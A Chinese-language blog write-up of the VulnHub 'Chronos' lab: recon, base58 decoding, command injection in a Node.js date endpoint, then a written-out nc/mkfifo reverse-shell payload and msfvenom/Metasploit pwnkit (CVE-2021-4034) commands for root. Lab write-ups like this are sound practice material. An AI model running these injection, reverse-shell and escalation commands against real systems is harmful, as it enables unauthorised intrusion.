vulhub打靶第三周

第三周

靶机下载地址：https://www.vulnhub.com/entry/chronos-1,735/
环境折磨导致做晚了，再加上期末的考试多耽搁下来了，然后就是辗转反侧打比赛，拖了这么久，时隔三个月重新开打
因为陆陆续续打了两次，所以环境可能变化了，IP不同见谅

信息收集

┌──(kali㉿kali)-[~/Tools/fscan]
└─$ ./fscan -h 192.168.56.101___                              _  / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.56.101  is alive
[*] Icmp alive hosts len is: 1
192.168.56.101:80 open
Open result.txt error, open result.txt: permission denied
192.168.56.101:22 open
Open result.txt error, open result.txt: permission denied
192.168.56.101:8000 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.56.101     code:200 len:1887   title:None
Open result.txt error, open result.txt: permission denied
[*] WebTitle: http://192.168.56.101:8000 code:200 len:1887   title:None
Open result.txt error, open result.txt: permission denied

┌──(kali㉿kali)-[~/Tools/fscan]
└─$ sudo nmap --min-rate 1000 -p- 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 18:01 CST
Nmap scan report for 192.168.56.101
Host is up (0.00011s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
8000/tcp open  http-alt

┌──(kali㉿kali)-[~/Tools/fscan]
└─$ sudo nmap -sV -sT -O -p22,25,80,110,8000 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 18:49 CST
Nmap scan report for 192.168.56.101
Host is up (0.00080s latency).PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp   open  tcpwrapped
80/tcp   open  http       Apache httpd 2.4.29 ((Ubuntu))
110/tcp  open  tcpwrapped
8000/tcp open  http       Node.js Express framework
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 3.X
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:3.2
OS details: Actiontec MI424WR-GEN3I WAP, Linux 3.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.97 seconds

‍

先对80服务进行探测：

在这里插入图片描述

什么都没有，看看页面源代码：

在这里插入图片描述

有一串script，看看：

var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

丢给厨子美化一下：

在这里插入图片描述

var _0x5bdf = ['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'
];
(function (_0x506b95, _0x817e36) {var _0x244260 = _0x432d;while (!![]) {try {var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));if (_0x35824b === _0x817e36)break;else_0x506b95['push'](_0x506b95['shift']());} catch (_0x3fb1dc) {_0x506b95['push'](_0x506b95['shift']());}}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {return _0x432d = function (_0x5bdf82, _0x432dc8) {_0x5bdf82 = _0x5bdf82 - 126;var _0x4da6e8 = _0x5bdf[_0x5bdf82];return _0x4da6e8;}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();_0x2beb35[_0x17df92(137)] = function () {var _0x146f5d = _0x17df92;this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}

漏洞利用

有一串字符：

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

发现对8000端口发送了一个base加密的数据，而且8000端口就是我们刚才扫出来的

解码看看他是啥：

在这里插入图片描述

发现是base58

而且里面的数据就是'+Today is %A, %B %d, %Y %H:%M:%S.'

我们发送给8000端口试试：

在这里插入图片描述

直接发送，发现它禁止了

在这里插入图片描述

可以注意到它这里发送数据的时候其实是有域名的，我们添加一下域名再试试：

在这里插入图片描述

访问域名之后可以发现:

在这里插入图片描述

抓到包了，而且可以交互，'+Today is %A, %B %d, %Y %H:%M:%S.'就是页面的回显，这里发现和执行date命令是一样的

在这里插入图片描述

所以可以猜测这里服务器就是利用了date执行命令，所以我们可以尝试使用命令分隔符来执行：

在这里插入图片描述

发现可以执行命令

这里如果执行不了命令，去历史里面找

在这里插入图片描述

‍

执行命令反弹shell

先执行'+Today is %A, %B %d, %Y %H:%M:%S.'&&ls /bin

在这里插入图片描述

这里可以用curl，也可以nc

用nc做示范：

'+Today is %A, %B %d, %Y %H:%M:%S.'&&rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.120.128 9999 >/tmp/f
QxtDBXuBRWpQV13Ua2qX95tzNhAkMmmKhMR8wXc1X8AnLPJTUKdYnBihbFotj9mYXyohdcAHH1DpDcdX3BTQyqewC7UBgSmUApQxu3xp3dUd1NBcewhGsN3iM29B59gLtTvSeVySVM7RKboLGPyTUxAL2yq16rajz2L5T

在这里插入图片描述

权限提升

发现权限有点低，想办法提权，先试试suid

www-data@chronos:/opt/chronos$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core/16091/bin/mount
/snap/core/16091/bin/ping
/snap/core/16091/bin/ping6
/snap/core/16091/bin/su
/snap/core/16091/bin/umount
/snap/core/16091/usr/bin/chfn
/snap/core/16091/usr/bin/chsh
/snap/core/16091/usr/bin/gpasswd
/snap/core/16091/usr/bin/newgrp
/snap/core/16091/usr/bin/passwd
/snap/core/16091/usr/bin/sudo
/snap/core/16091/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/16091/usr/lib/openssh/ssh-keysign
/snap/core/16091/usr/lib/snapd/snap-confine
/snap/core/16091/usr/sbin/pppd
/bin/ping
/bin/fusermount
/bin/mount
/bin/su
/bin/umount
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1

有一个pkexec，上次闽盾杯就是倒在他手上，这次又遇到了

直接尝试CVE-2021-4034-main

编译-->上传-->赋权-->执行

行云流水，但是失败了

献上MSF打

先上线：

shell> msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.120.128  LPORT=7777 -f elf > pb.elf
shell> msfconsolemsf6> use exploit/multi/handler
msf6> set lport 7777
msf6> set lhost 192.168.120.128
msf6> set payload linux/x64/meterpreter/reverse_tcp
msf6> run

‍

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
set PKEXECPATH /use/bin/pkexec
set lport 7777
set lhost 192.168.120.128

在这里插入图片描述

成功root权限，拿下！

‍

看了预期解，似乎是找nodejs的漏洞，然后利用nodejs提权，懒不搞了